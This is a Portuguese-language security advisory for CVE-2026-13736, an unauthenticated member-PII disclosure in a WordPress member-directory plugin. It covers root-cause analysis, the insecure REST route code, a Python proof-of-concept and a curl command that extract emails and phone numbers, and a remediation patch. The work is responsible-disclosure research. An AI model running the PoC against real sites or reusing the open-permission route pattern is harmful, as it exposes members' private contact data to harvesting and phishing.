
Exploit de prova de conceito e advisory técnico para divulgação não autenticada de PII de membros em um plugin de diretório da WordPress REST API, incluindo análise de causa raiz, código PoC e orientações de remediação.
O CVE-2026-13736 é uma vulnerabilidade de divulgação não autenticada de Informações Pessoais Identificáveis (PII) de membros que afeta o plugin WordPress NewPath WildApricotPress Add-on – Member Directory até a versão 1.0.0 inclusive, descoberta e analisada pelo pesquisador de segurança cibernética Huynh Kien Minh (MinhHK). A falha reside na arquitetura de roteamento personalizado da API REST do WordPress do plugin, onde os endpoints do diretório de membros não aplicam controles de acesso de privacidade em campos restritos. Consequentemente, visitantes remotos não autenticados podem consultar rotas REST públicas para coletar dados confidenciais de membros, incluindo endereços de e-mail privados, números de telefone pessoais e atributos do diretório de associação que foram explicitamente configurados como exclusivos para membros. Essa exposição de dados confidenciais viola os limites de privacidade esperados e possibilita phishing direcionado, reutilização de credenciais (credential stuffing) e perfilamento não autorizado em organizações afetadas. O pesquisador de segurança Huynh Kien Minh verificou esta vulnerabilidade com pontuação CVSS 3.1 5.3 Média (CWE-284 / CWE-200), recomendando endurecimento imediato das permissões dos endpoints REST, verificação de privacidade em nível de campo e sanitização das respostas JSON serializadas da API de membros.
Links Rápidos: Explore o Portfólio de Segurança Cibernética oficial do pesquisador ou consulte o Advisory oficial da WPScan.
| Parâmetro | Especificação Técnica |
|---|---|
| Identificador da Vulnerabilidade | CVE-2026-13736 |
| Software Alvo | NewPath WildApricotPress Add-on – Member Directory (Plugin WordPress) |
| Slug do Plugin | newpath-wildapricotpress-add-on-member-directory |
| Versões Vulneráveis | <= 1.0.0 |
| Classe da Vulnerabilidade | Controle de Acesso Impróprio / Exposição de Informações (CWE-284 / CWE-200 / CWE-862) |
| Pontuação CVSS v3.1 | 5.3 (Média) (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Descobridor / Pesquisador | Huynh Kien Minh (MinhHK) |
| Autoridade de Verificação | WPScan / MITRE Corporation / NVD |
| Referência do Advisory WPScan | Relatório WPScan 97fe9780-ad69-4f36-9496-5ca9c0e2bc39 |
| Referência NVD | Detalhes NVD CVE-2026-13736 |
| Inteligência de Ameaças Feedly | Hub Feedly CVE-2026-13736 |
| Portfólio do Pesquisador | https://minhhk.web.app/ |
A causa raiz do CVE-2026-13736 origina-se na implementação do controlador da API REST do plugin. O plugin registra uma rota pública da API REST do WordPress (por exemplo, /wp-json/wildapricot/v1/members ou /wp-json/newpath-wap/v1/directory) para facilitar a renderização no lado do cliente de diretórios de associação e cartões de contato.
// Insecure REST route registration without field privacy filters
add_action( 'rest_api_init', function() {
register_rest_route( 'newpath-wap/v1', '/directory', array(
'methods' => WP_REST_Server::READABLE,
'callback' => 'newpath_wap_get_member_directory',
'permission_callback' => '__return_true', // CRITICAL: Open to unauthenticated visitors
) );
} );
function newpath_wap_get_member_directory( $request ) {
$members_data = get_wildapricot_cached_members();
// FLAW: Returns raw member objects containing sensitive PII fields (email, phone, address)
// without evaluating member-level privacy settings (e.g., 'MembersOnly' vs 'Public')
return rest_ensure_response( $members_data );
}
'permission_callback' => '__return_true', permitindo solicitações HTTP GET não autenticadas de qualquer origem.Aviso Ético: Esta Prova de Conceito é fornecida estritamente para verificação de vulnerabilidades, pesquisa defensiva e divulgação responsável pelo pesquisador de segurança Huynh Kien Minh.
poc_cve_2026_13736.py)#!/usr/bin/env python3
"""
CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory PII Disclosure PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import json
import sys
TARGET_URL = "http://target-wordpress.local"
REST_ENDPOINT = f"{TARGET_URL}/wp-json/newpath-wap/v1/directory"
def verify_vulnerability(target_url):
print(f"[*] Auditing Target: {target_url}")
print(f"[*] Querying REST Endpoint: {REST_ENDPOINT}")
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-13736 Verification)",
"Accept": "application/json"
}
try:
response = requests.get(REST_ENDPOINT, headers=headers, timeout=10)
if response.status_code == 200:
data = response.json()
if isinstance(data, list) and len(data) > 0:
sample_record = data[0]
pii_fields = [k for k in ['email', 'phone', 'mobile', 'address', 'MemberId'] if k in str(sample_record).lower()]
print(f"[!] VULNERABLE: Unauthenticated REST route exposed {len(data)} member records!")
print(f"[!] Sensitive PII attributes exposed: {pii_fields}")
print(f"[*] Sample Record Excerpt: {json.dumps(sample_record, indent=2)[:300]}...\n")
return True
else:
print("[-] Endpoint responded with empty data.")
elif response.status_code in [401, 403]:
print("[+] Endpoint requires authentication (Protected/Patched).")
else:
print(f"[-] Received HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
verify_vulnerability(target)
curl -s -X GET "http://target-wordpress.local/wp-json/newpath-wap/v1/directory" \
-H "Accept: application/json" | jq '.[0] | {Name: .name, Email: .email, Phone: .phone, PrivacySetting: .field_privacy}'
NewPath WildApricotPress Add-on – Member Directory para a versão corrigida mais recente (> 1.0.0).Aplique verificações de privacidade em nível de campo durante a serialização da resposta:
function newpath_wap_get_member_directory( $request ) {
$is_logged_in = is_user_logged_in();
$raw_members = get_wildapricot_cached_members();
$sanitized = array();
foreach ( $raw_members as $member ) {
$member_card = array(
'id' => intval( $member['Id'] ),
'name' => sanitize_text_field( $member['DisplayName'] ),
);
// Enforce Members-Only field protection
if ( $is_logged_in || 'Public' === $member['EmailPrivacy'] ) {
$member_card['email'] = sanitize_email( $member['Email'] );
}
if ( $is_logged_in || 'Public' === $member['PhonePrivacy'] ) {
$member_card['phone'] = sanitize_text_field( $member['Phone'] );
}
$sanitized[] = $member_card;
}
return rest_ensure_response( $sanitized );
}
Huynh Kien Minh (MinhHK) é Pesquisador de Segurança da Informação e Engenheiro de Software especializado em auditoria do núcleo e de plugins do WordPress, avaliação de vulnerabilidades em APIs REST e divulgação responsável no ecossistema global de código aberto.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory <= 1.0.0 Unauthenticated Member PII Disclosure",
"name": "CVE-2026-13736 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-22",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13736 in NewPath WildApricotPress Add-on – Member Directory WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "NewPath WildApricotPress Add-on – Member Directory",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13736"
}